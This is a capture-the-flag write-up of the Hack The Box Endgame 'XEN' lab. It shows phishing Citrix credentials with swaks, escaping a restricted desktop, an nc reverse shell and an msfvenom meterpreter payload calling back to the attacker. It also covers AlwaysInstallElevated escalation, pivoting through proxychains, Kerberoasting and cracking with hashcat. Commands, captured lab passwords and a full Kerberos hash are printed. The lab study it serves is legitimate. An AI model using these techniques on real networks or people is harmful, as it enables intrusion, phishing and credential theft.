HTB Endgame: XEN
Endgame XEN is all about owning a small network behind a Citrix virtual desktop environment. I’ll phish creds for the Citrix instance from users in the sales department, and then use them to get a foothold. I’ll break out of the restrictions in that environment, and then get administrator access. From there I’ll pivot into the domain, finding a Kerberoastable user and breaking the hash to get access to an SMB share with an encrypted SSH key. I’ll break that, and get access to the NetScaler device, where I’ll capture network traffic to find service creds in LDAP traffic. I’ll spray those creds against the domain to find they also work for a backup service, which I’ll use to access the DC, and to exfil the Active Directory database, where I can find the domain administrator hash.
Lab Details
| Name: | Endgame XEN |
|---|---|
| Release Date: | 11 May 2019 |
| Retire Date: | 16 June 2020 |
| Creators: |  egre55 |
| Hosts: |
|
| Description: | Humongous Retail operates a nationwide chain of stores. The company has reacted to several recent skimming incidents by investing heavily in their POS systems. Keen to avoid any further negative publicity, they have engaged the services of a penetration testing company to assess the security of their perimeter and internal infrastructure. Xen is designed to put your skills in enumeration, breakout, lateral movement, and privilege escalation to the test within a small Active Directory environment. The goal is to gain a foothold on the internal network, escalate privileges and ultimately compromise the domain while collecting several flags along the way. |
Breach
nmap
nmap finds three open TCP ports on the target IP, SMTP (25), HTTP (80) and HTTPS (443):
root@kali# nmap -sT -p- --min-rate 10000 -oA scans/nmap-alltcp 10.13.38.12
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 08:59 EDT
Nmap scan report for 10.13.38.12
Host is up (0.048s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 30.51 seconds
root@kali# nmap -sV -sC -p 25,80,443 -oA scans/nmap-tcpscripts 10.13.38.12
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 09:00 EDT
Nmap scan report for 10.13.38.12
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp
| fingerprint-strings:
| GenericLines, GetRequest:
| 220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
| sequence of commands
| sequence of commands
| Hello:
| 220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
| EHLO Invalid domain address.
| Help:
| 220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| NULL:
|_ 220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
| smtp-commands: CITRIX, SIZE 20480000, AUTH LOGIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Did not follow redirect to https://humongousretail.com/
443/tcp open ssl/https?
|_ssl-date: 2019-05-11T12:58:14+00:00; -3m18s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.70%I=7%D=5/11%Time=5CD6C792%P=x86_64-pc-linux-gnu%r(NULL
SF:,33,"220\x20ESMTP\x20MAIL\x20Service\x20ready\x20\(EXCHANGE\.HTB\.LOCAL
SF:\)\r\n")%r(Hello,55,"220\x20ESMTP\x20MAIL\x20Service\x20ready\x20\(EXCH
SF:ANGE\.HTB\.LOCAL\)\r\n501\x20EHLO\x20Invalid\x20domain\x20address\.\r\n
SF:")%r(Help,6F,"220\x20ESMTP\x20MAIL\x20Service\x20ready\x20\(EXCHANGE\.H
SF:TB\.LOCAL\)\r\n211\x20DATA\x20HELO\x20EHLO\x20MAIL\x20NOOP\x20QUIT\x20R
SF:CPT\x20RSET\x20SAML\x20TURN\x20VRFY\r\n")%r(GenericLines,6F,"220\x20ESM
SF:TP\x20MAIL\x20Service\x20ready\x20\(EXCHANGE\.HTB\.LOCAL\)\r\n503\x20Ba
SF:d\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comm
SF:ands\r\n")%r(GetRequest,6F,"220\x20ESMTP\x20MAIL\x20Service\x20ready\x2
SF:0\(EXCHANGE\.HTB\.LOCAL\)\r\n503\x20Bad\x20sequence\x20of\x20commands\r
SF:\n503\x20Bad\x20sequence\x20of\x20commands\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -3m18s, deviation: 0s, median: -3m18s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.99 seconds
SMTP scripts are identifying the hostname as EXCHANGE.HTB.LOCAL. Based on the IIS version, this looks like Windows 10 / Server 2016 / Servier 2019.
Website - TCP 80 / 443
Site
Visiting http://10.13.38.12 redirects to https://humongousretail.com/:
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
Location: https://humongousretail.com/
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 11 May 2019 13:02:53 GMT
Connection: close
Content-Length: 151
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="https://humongousretail.com/">here</a></body>
After adding to my hosts file, I get a site:
Both the HTTP and HTTPS sites seem to be the same content. There isn’t too much interesting on the site itself, other than a contact email address at the very bottom, jointheteam@humongousretail.com.
Directory Brute Force
Running gobuster (old syntax, would now be gobuster dir -k -u ...) provides some standard paths like images, css, and js, but also /remote:
root@kali# gobuster -k -u https://humongousretail.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o scans/gobuster-humongousretail-small -t 30
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : https://humongousretail.com/
[+] Threads : 30
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/05/11 09:20:16 Starting gobuster
=====================================================
/images (Status: 301)
/Images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/remote (Status: 301)
/IMAGES (Status: 301)
/CSS (Status: 301)
/JS (Status: 301)
/Remote (Status: 301)
=====================================================
2019/05/11 09:25:29 Finished
=====================================================
/remote
/remote returns a Citrix logon screen:
I tried some basic creds, but was not able to log in.
SMTP - TCP 25
At this point I’ll pivot to SMTP. The first thing I can try is to enumerate users in the domain using the smtp-user-enum tool, which can be found here, or installed on kali with apt install smtp-user-enum.
I’ll run it with a wordlist*, the domain humongousretail.com (which matches the email address from the webpage), the RECP TO method returns users:
root@kali# smtp-user-enum -U /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt -D humongousretail.com -t 10.13.38.12 -m 50 -M RCPT
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 50
Usernames file ........... /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt
Target count ............. 1
Username count ........... 21168
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ humongousretail.com
######## Scan started at Sat May 11 10:59:18 2019 #########
10.13.38.12: it@humongousretail.com exists
10.13.38.12: legal@humongousretail.com exists
10.13.38.12: marketing@humongousretail.com exists
10.13.38.12: sales@humongousretail.com exists
######## Scan completed at Sat May 11 11:06:51 2019 #########
4 results.
21168 queries in 453 seconds (46.7 queries / sec)
* I would think I would pick a wordlist from SecLists, but my notes only show names.txt… a wordlist from SecLists Usernames that does hit on these results is in Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt. It’s also possible I used Discovery/web-contents/big.txt, which would be a bit strange for enumerating user accounts, but does have all four accounts.
Now I have five email addresses.
Phishing for Creds
I’ll use the emails that I have to try to phish credentials for the Citrix login. It took me a while to compose an email that resulted in a hit. The following criteria seemed to work for me:
- To
sales@humongousretail.com - From
it@humongousretail.com - “citrix” in the body of the message
- url in the body of the message
I used swaks to send an email just to see if someone would click on a link:
root@kali# swaks --to sales@humongousretail.com --from it@humongousretail.com --header "Subject: Credentials / Errors" --body "citrix http://10.14.15.41/" --server humongousretail.com
...[snip]...
With Python web server listening on port 80, I was quite surprised when a few seconds later I got POST request back:
root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.13.38.12 - - [11/May/2019 09:13:08] code 501, message Unsupported method ('POST')
10.13.38.12 - - [11/May/2019 09:13:08] "POST /remote/auth/login.aspx?LoginType=Explicit&user=pmorgan&password=Summer1Summer!&domain=HTB.LOCAL HTTP/1.1" 501 -
To see the full request, I killed Python and started nc:
root@kali# nc -lnvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.13.38.12.
Ncat: Connection from 10.13.38.12:50123.
POST /remote/auth/login.aspx?LoginType=Explicit&user=awardel&password=@M3m3ntoM0ri@&domain=HTB.LOCAL HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Host: 10.14.15.41
Content-Length: 75
Expect: 100-continue
Connection: Keep-Alive
LoginType=Explicit&user=awardel&password=%40M3m3ntoM0ri%40&domain=HTB.LOCAL
I also noted that there were different creds. After sending a handful of times, I collected the following credentials:
- jmendes / VivaBARC3L0N@!!!
- awardel / @M3m3ntoM0ri
- pmorgan / Summer1Summer!
I believe the intention here was to set up a full phishing campaign where I clone the citrix login, and send sales an email that we’re testing a new Citrix url, and then use that to get their creds. I suspect the automation kind of shortcutted that directly to the POST with the creds.
I also believe that the three sets of creds are just because only one user can be logged into Citrix at a time, so this was to lessen the odds of a HTB player bumping someone else out of the desktop.
Configure Citrix
When I first visit the site, it actually has a prompt to install Citrix:
When I used those prompts, it didn’t work well for me. This might be because it gives the 32-bit package. Either way, I was able to get the 64-bit tarball package from here, and install with the following commands:
root@kali# rm -rf temp/; mkdir temp/
root@kali# tar xf linuxx64-13.10.0.20.tar.gz -C temp/
root@kali# cd temp/
root@kali# ls
linuxx64 nls PkgId setupwfc
root@kali# ./setupwfc
Citrix Receiver for Linux 13.10.0 setup.
...[snip]...
Select a setup option:
1. Install Citrix Receiver for Linux 13.10.0
2. Remove Citrix Receiver for Linux 13.10.0
3. Quit Citrix Receiver for Linux 13.10.0 setup
Enter option number 1-3 [1]: 1
Please enter the directory in which Citrix Receiver for Linux is to be installed.
[default /opt/Citrix/ICAClient]
or type "quit" to abandon the installation:
The parent directory /opt/Citrix does not exist.
Do you want to create it? [default y]:
You have chosen to install Citrix Receiver for Linux 13.10.0 in /opt/Citrix/ICAClient.
Proceed with installation? [default n]: y
Installation proceeding...
Checking available disk space ...
Disk space available 50140072 K
Disk space required 51234 K
Continuing ...
Creating directory /opt/Citrix/ICAClient
Core package...
Setting file permissions...
Integrating with browsers...
Browsers found.
Found entries in browser configuration(s) from an earlier installation.
Do you want these entries to point to the new installation? [default y]:
Integration complete.
Do you want GStreamer to use the plugin from this client? [default y]:
Do you want to install USB support? [default n]: y
Select a setup option:
1. Install Citrix Receiver for Linux 13.10.0
2. Remove Citrix Receiver for Linux 13.10.0
3. Quit Citrix Receiver for Linux 13.10.0 setup
Enter option number 1-3 [3]: 3
Quitting Citrix Receiver for Linux 13.10.0 setup.
Get Desktop
Now I’ll go back and enter creds for one of the accounts:
On hitting “Log On”, it shows a single desktop. Clicking on it downloads an .ica file, which my system now offers the Citrix Receiver Engine as the program to handle it:
On clicking ok, I’m at a Windows desktop with nothing on it. Going into Explorer, I can see there’s actually a flag.txt on the desktop, and it contains the first flag:
Click for full size imageBreach: XEN{wh0_n33d5_2f@?}
Deploy
Restricted Environment Bypass
Restrictions
The first thing I wanted to do was get to a shell, but it quickly becomes clear that I’m in a restricted environment. I can’t find cmd.exe or powershell.exe in the start menu. If I try to visit c:\windows\system32 in Explorer, I get an error:
I tried to access files from my local host by starting an SMB server with smbserver.py share .. When I try to access it in Explorer, the creds are actually sent to smbserver.py, but then Explorer blocks me:
bat File
The simplest way I know of to get past this kind of restriction is to use a .bat file. notepad.exe isn’t available from the Start Menu, but I can right-click and create a text file in the user’s documents. Then I can double click it, and it opens in Notepad.
I’ll enter the text cmd.exe, and save it as cmd.bat (making sure to change the Save as type to “All files” so it doesn’t append .txt to the end of the file name).
Double-clicking on cmd.bat launches cmd.exe:
nc Shell
Next I got a quick nc remote shell, though I’ll end up using the GUI desktop for many of the next steps. I’ll make sure there’s a copy of nc64.exe in the share, and run it from the share:
At my listener, I get a shell:
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.13.38.15.
Ncat: Connection from 10.13.38.15:50549.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\pmorgan\Documents>
Privesc to Administrator
I ran PowerUp.ps1, and one of the things it identified was the Always Install Elevated key was present and set. I can see this from my shell:
C:\>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
C:\>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
To take advantage of this, I’ll run the function Write-UserAddMSI in PowerUp. I’ll run it, and it tells me the name of the MSI it created:
I can now see the icon in Explorer:
Running it pops a prompt:
If I give it a password that doesn’t meet the password complexity, it will throw an error. When I give it a good password, the new user is there:
Now I’ll use runas to get a shell as 0xdf:
A new cmd.exe shell opens.
UAC Bypass
Even as 0xdf, I can’t access \users\administrator:
That’s because UAC has this shell running as low-priv:
Some Googling led to this exploit which breaks free from UAC (this one also works). I’ll copy it over and compile it with PowerShell creating a .dll. Then I’ll load that using reflection, and then call the Execute function to start a new cmd.exe:
The resulting cmd that pops up has full admin privs:
Now I can access the administrator’s desktop, and find the next flag:
C:\Users\Administrator\Desktop>type flag.txt
XEN{7ru573d_1n574ll3r5}
Deploy: XEN{7ru573d_1n574ll3r5}
Ghost
Meterpreter
At this point, to continue into the network, I’ll use Metasploit to help manage tunnels. It can certainly be done with something like Chisel, but it’s just easier to use MSF, and it’s not keeping me from learning anything. It is also much faster if I’m competing with someone for the Citrix Desktop. I can log in, launch a shell, run the MSF payload from my share, and I’m done with the session.
I’ll create a reverse shell payload:
root@kali# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.15.41 LPORT=443 -f exe -o rev.51-443.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rev.51-443.exe
With exploit/multi/handler running, I’ll run it in my initial shell as the basic user:
The callback comes in MSF:
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.14.15.41:443
[*] Sending stage (201283 bytes) to 10.13.38.15
[*] Meterpreter session 1 opened (10.14.15.41:443 -> 10.13.38.15:50715) at 2020-06-16 22:22:17 -0400
meterpreter >
To get SYSTEM access, I’ll background this session, and use exploit/windows/local/always_install_elevated:
msf5 exploit(windows/local/always_install_elevated) > run
[*] Started reverse TCP handler on 10.14.15.41:443
[*] Uploading the MSI to C:\Users\pmorgan\AppData\Local\Temp\JOrCzGeQ.msi ...
[*] Executing MSI...
[*] Sending stage (176195 bytes) to 10.13.38.15
[*] Meterpreter session 2 opened (10.14.15.41:443 -> 10.13.38.15:50717) at 2020-06-16 22:25:57 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Kerberoast
Get DC IP
Now that I have access to the domain, I want to try Kerberoasting to gather additional credentials. I’ll need the DC’s IP address. I guessed that the name might be DC, and ping gives it’s IP address:
C:\Windows\system32>ping -n 1 dc
ping -n 1 dc
Pinging DC.htb.local [172.16.249.200] with 32 bytes of data:
Reply from 172.16.249.200: bytes=32 time<1ms TTL=128
Ping statistics for 172.16.249.200:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Create Proxy
I’ll now create a proxy through the meterpreter session so that I can connect directly to the DC from my host. I’ll need to run two commands. First, I’ll use post/multi/manage/autoroute to tell MSF that it should route traffic to 172.16.249.0/24 through session 2.
msf5 post(multi/manage/autoroute) > options
Module options (post/multi/manage/autoroute):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
SESSION 2 yes The session to run this module on.
SUBNET no Subnet (IPv4, for example, 10.10.10.0)
msf5 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module.
[*] Running module against VDESKTOP3
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.13.38.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.16.249.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
Now I’ll start the proxy using auxiliary/server/socks4a:
msf5 auxiliary(server/socks4a) > options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf5 auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.
[*] Starting the socks4a proxy server
Now I can use proxychains to tunnel into the Xen network.
Roasting
I’ll use GetUserSPNs.py to Kerberoast, and it returns a hash for mturner:
root@kali# proxychains GetUserSPNs.py -request -dc-ip 172.16.249.200 HTB.LOCAL/pmorgan:Summer1Summer! -save -outputfile GetUserSPNs.out
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
---------------------------------- ------- --------------------------------------- ------------------- -------------------
MSSQLSvc/CITRIXTEST.HTB.LOCAL:1433 mturner CN=Deployment,OU=Groups,DC=htb,DC=local 2019-02-13 17:23:48 2019-04-10 16:14:57
root@kali# cat GetUserSPNs.out
$krb5tgs$23$*mturner$HTB.LOCAL$MSSQLSvc/CITRIXTEST.HTB.LOCAL~1433*$2c25cd994272360eeee9720fcf70b88e$f42d18b44f7bf2e242285f39370da356c9784f4ec96123b5d47766caebb6f0dae5350b58df4cd2c53c2c6671b7d5d425937656e01670134ee858d21b1515121adb29ba6de2fabab4f3ff139369136d3772e11d34c4979a0b5c3f65ff9648b26621d915352fead31a93e2dd01f92f1d329aef924e5969159cde84b764e4b45d01f162a92b667080983ed636f7a154fe4e63255e3d50b33c0fb8b95f0cd70f1bea102c0affcb89ba987bd5a9316a9c3254c93fabf71e584f5eaa726f3a7922b97b47e2bb16f8fb0bb2e73293d3f664e4e85bd3c6b995d13e5df3a1406a9395f7b02777e27ccd433f0fc0d006740ab92d9c13d6f0e91083b764b233783fbe490de230ec13d1c1ab1c63ecfc0248e4bca5050f7706d17ee827caf8377dc70c9df35cb81901542778f7c56aedd7f6491fb1c4e5f47990b95d2999e8df1e884be2023c0289a00f8a68bb12767f85dd958c2b2ae97cd7a5599503b064d7a5074c4932d443a141421941ba4193c08337dc95632d4e88282a6e789925bd4709e00f91420c18e8b6ac0b1bf6798fa719dd863c52b00631c4eedeb9718710f6c14625dd9b4ed71b7a3c09e7c353d44f215f496f2bab37f220e4f60637d5331360e13dcc216d990d1ae80705a8ec053427ab179b5160cdc1b39a26c4700b69c66fd11b53b6e942d0abf54d96f61eb5715c4f58a1246fa86f4a232f36d6989d783909bc28bfd8b836d6250a9f1a5350046a004a452da54d7c48e73998e0a2b457dac1f5687c70441974a27391bb9e31ea4510de4c32ef76a4287ae4929da9ff77cd1c18df4bee33115f356e2df9cee980e38ee644b4f1b9a7da38df0c9bb37d6c9f9fc4d79f407f8919c6b8d9fcba2779f8b91231a8aca7ae7b82e20341f5e5ac29f601d1e112c082128cd8a7be031b2279460833d4b03c2d4018bd1be0ca7b6578933c9142e653e2a931ab56516de8f1fd66a46f6834aa15aa4e4213265011cf7911325a281694b1f5fe040c13d1cc076efa27657deac7661a0455e86f78d5473b63324a1a10247ace4c64a4f37f17c6c671e9a97d4559a1a432aeea2275d7ea803e255add1daae32105c0337da391486157adb645d2faf0a138f63b0a1d7d739d11cbb53013ababb1cbf8d11c71bc143abf200466288197a6714d76ca0e538c25c8563e00acaa020033e3800d0c46cffc164a7a7bdc7851edcc08971328a59f3830158b9146027ccbe4d41df15f5834eff7dded87c4fd40b9aaf287a0d1a8c06cf71c82981ae6832a04ec30499570fb5842416a3202521095d9f337d7bfb1805ba18b7bd50396
Crack Hash
My first attempts to crack the hash failed. After trying a few wordlists, I tried applying some rule files, and it broke:
root@kali# hashcat -a 0 -m 13100 GetUserSPNs.out /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule --force
$krb5tgs$23$*mturner$HTB.LOCAL$MSSQLSvc/CITRIXTEST.HTB.LOCAL~1433*$2c25cd994272360eeee9720fcf70b88e$f42d18b44f7bf2e242285f39370da356c9784f4ec96123b5d47766caebb6f0dae5350b58df4cd2c53c2c6671b7d5d425937656e01670134ee858d21b1515121adb29ba6de2fabab4f3ff139369136d3772e11d34c4979a0b5c3f65ff9648b26621d915352fead31a93e2dd01f92f1d329aef924e5969159cde84b764e4b45d01f162a92b667080983ed636f7a154fe4e63255e3d50b33c0fb8b95f0cd70f1bea102c0affcb89ba987bd5a9316a9c3254c93fabf71e584f5eaa726f3a7922b97b47e2bb16f8fb0bb2e73293d3f664e4e85bd3c6b995d13e5df3a1406a9395f7b02777e27ccd433f0fc0d006740ab92d9c13d6f0e91083b764b233783fbe490de230ec13d1c1ab1c63ecfc0248e4bca5050f7706d17ee827caf8377dc70c9df35cb81901542778f7c56aedd7f6491fb1c4e5f47990b95d2999e8df1e884be2023c0289a00f8a68bb12767f85dd958c2b2ae97cd7a5599503b064d7a5074c4932d443a141421941ba4193c08337dc95632d4e88282a6e789925bd4709e00f91420c18e8b6ac0b1bf6798fa719dd863c52b00631c4eedeb9718710f6c14625dd9b4ed71b7a3c09e7c353d44f215f496f2bab37f220e4f60637d5331360e13dcc216d990d1ae80705a8ec053427ab179b5160cdc1b39a26c4700b69c66fd11b53b6e942d0abf54d96f61eb5715c4f58a1246fa86f4a232f36d6989d783909bc28bfd8b836d6250a9f1a5350046a004a452da54d7c48e73998e0a2b457dac1f5687c70441974a27391bb9e31ea4510de4c32ef76a4287ae4929da9ff77cd1c18df4bee33115f356e2df9cee980e38ee644b4f1b9a7da38df0c9bb37d6c9f9fc4d79f407f8919c6b8d9fcba2779f8b91231a8aca7ae7b82e20341f5e5ac29f601d1e112c082128cd8a7be031b2279460833d4b03c2d4018bd1be0ca7b6578933c9142e653e2a931ab56516de8f1fd66a46f6834aa15aa4e4213265011cf7911325a281694b1f5fe040c13d1cc076efa27657deac7661a0455e86f78d5473b63324a1a10247ace4c64a4f37f17c6c671e9a97d4559a1a432aeea2275d7ea803e255add1daae32105c0337da391486157adb645d2faf0a138f63b0a1d7d739d11cbb53013ababb1cbf8d11c71bc143abf200466288197a6714d76ca0e538c25c8563e00acaa020033e3800d0c46cffc164a7a7bdc7851edcc08971328a59f3830158b9146027ccbe4d41df15f5834eff7dded87c4fd40b9aaf287a0d1a8c06cf71c82981ae6832a04ec30499570fb5842416a3202521095d9f337d7bfb1805ba18b7bd50396:4install!
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 TGS-REP etype 23
Hash.Target......: $krb5tgs$23$*mturner$HTB.LOCAL$MSSQLSvc/CITRIXTEST....d50396
Time.Started.....: Mon May 13 17:40:49 2019 (6 hours, 49 mins)
Time.Estimated...: Tue May 14 00:30:34 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/hashcat/rules/dive.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 348.1 kH/s (14.54ms) @ Accel:8 Loops:4 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 8733004800/1421327732110 (0.61%)
Rejected.........: 0/8733004800 (0.00%)
Restore.Point....: 87552/14344385 (0.61%)
Restore.Sub.#1...: Salt:0 Amplifier:37644-37648 Iteration:0-4
Candidates.#1....: temperaas1ture -> hako03
Started: Mon May 13 17:40:36 2019
Stopped: Tue May 14 00:30:36 2019
New creds: mturner / 4install!
Network Enumeration
I wanted to get a list of IPs of hosts in the network, so I’ll use PowerView.ps1 from PowerSploit.
meterpreter > use powershell
Loading extension powershell...Success.
meterpreter > powershell_import /opt/PowerSploit/Recon/PowerView.ps1
[+] File successfully imported. No result was returned.
Now drop into PowerShell and get computer list:
meterpreter > powershell_shell
PS > Get-DomainComputer | select name
name
----
DC
CITRIX
VDESKTOP3
VDESKTOP2
VDESKTOP1
LAPTOP1
LAPTOP2
LAPTOP3
LAPTOP5
LAPTOP6
WK01
WK02
WK03
WK04
WK05
WK06
WK07
WK09
Taking that list, combining it with the list of hosts from the Xen Page, and some ping, I believe the active network looks like:
| Hostname | IP |
|---|---|
| DC | .200 |
| CITRIX | .201 |
| NETSCALER | .202 |
| VDESKTOP1 | .203 |
| VDESKTOP2 | .204 |
| VDESKTOP3 | .205 |
The NETSCALER IP is a bit of a guess, but it’s ping returns a TTL of 64, which matches FreeBSD.
SMB Access on CITRIX
As I’m already SYSTEM on the three VDESKTOP machines, I start poking at CITRIX. The creds from Kerberoast are good, but not enough to give a shell:
root@kali# proxychains crackmapexec smb 172.16.249.201 -u mturner -p '4install!'
ProxyChains-3.1 (http://proxychains.sf.net)
SMB 172.16.249.201 445 CITRIX [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 (name:CITRIX) (domain:htb.local) (signing:False) (SMBv1:True)
SMB 172.16.249.201 445 CITRIX [+] htb.local\mturner:4install!
I’ll list the shares on the host:
C:\>net view /all \\citrix
Shared resources at \\citrix
Share name Type Used as Comment
-------------------------------------------------------------------------------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Citrix$ Disk
IPC$ IPC Remote IPC
ISOs Disk
ISOs-TEST Disk
The command completed successfully.
In the Citrix$ share, I find a flag:
C:\>net use \\citrix\citrix$ /u:mturner 4install!
The command completed successfully.
C:\>dir \\citrix\citrix$
Volume in drive \\citrix\citrix$ has no label.
Volume Serial Number is 244B-E63F
Directory of \\citrix\citrix$
05/08/2019 06:12 PM <DIR> .
05/08/2019 06:12 PM <DIR> ..
02/12/2019 07:21 PM 997,001 Deploying-XenServer-5.6.pdf
03/31/2019 11:25 AM 20 flag.txt
05/08/2019 06:21 PM 1,486 private.ppk
02/12/2019 07:21 PM 1,747,587 XenServer-5-6-SHG.pdf
4 File(s) 2,746,094 bytes
2 Dir(s) 25,994,129,408 bytes free
C:\>type \\citrix\citrix$\flag.txt
XEN{l364cy_5pn5_ftw}
Ghost: XEN{l364cy_5pn5_ftw}
Camouflage
Enumeration
Also in the SMB share I find some PDFs about XenServer (which is the Citrix Hypervisor) and a private.ppk, which is an SSH key used by Windows programs like Putty. This all seems like a hint to turn towards the Citrix device, NETSCALER.
Web
If I tell Firefox to use the local SOCKS4 proxy on TCP 1080 (can do it in the settings, but I like FoxyProxy plugin), then I can browse to the NetScaler webpage:
I can also log in with the creds I got from phishing:
I spent a few minutes looking for exploits to get a shell from web access, but then decided that because I had this SSH key, I should start there.
SSH
The creds from phishing and from mturner all work to log in with SSH:
root@kali# proxychains sshpass -p '4install!' ssh mturner@172.16.249.202
ProxyChains-3.1 (http://proxychains.sf.net)
###############################################################################
# #
# WARNING: Access to this system is for authorized users only #
# Disconnect IMMEDIATELY if you are not an authorized user! #
# #
###############################################################################
Last login: Mon Jun 15 12:17:27 2020 from 172.16.249.203
Done
mturner@???-12:35>
Unfortunately for me, they drop me at a Citrix terminal:
mturner@???-12:35> ls
ERROR: No such command
mturner@???-12:35> help
NetScaler command-line interface
Try :
'help <commandName>' for full usage of a specific command
'help <groupName>' for brief usage of a group of commands
'help -all' for brief usage of all CLI commands
'man <commandName>' for a complete command description
'?' will show possible completions in the current context
The command groups are:
basic app aaa appflow appfw appqoe audit authentication authorization
autoscale bfd ca cache cli cloud cluster cmp feo
cr cs db dns dos event filter gslb HA
ica ipsec ipsecalg lb lsn network ns ntp policy
pq protocol qos rdp responder rewrite rise router snmp
spillover sc ssl stream system subscriber tm transform tunnel
utility vpn wi wf smpp lldp mediaclassifica ulfd reputation
pcp urlfiltering videooptimizati adaptivetcp user
Done
I spent some time looking through the commands and trying to see if there was useful information, but nothing came up. The documentation does show a shell command, but this user doesn’t have privilege to run it:
> shell
ERROR: Not authorized to execute this command [shell]
SSH Key
Need Passphrase
The key from the share is just a text file, so I’ll type it from Windows and then create the same file locally. To work with a .ppk, I’ll install puttygen with apt install putty-tools. I can try to reformat it as a standard Linux SSH key, but it needs a password:
root@kali# puttygen private.ppk -O private-openssh -o private.pem
Enter passphrase to load key:
puttygen: error loading `private.ppk': wrong passphrase
I’ll format the key into a hash that john can process with putty2john:
root@kali# putty2john private.ppk > private.ppk.john
kwprocessor
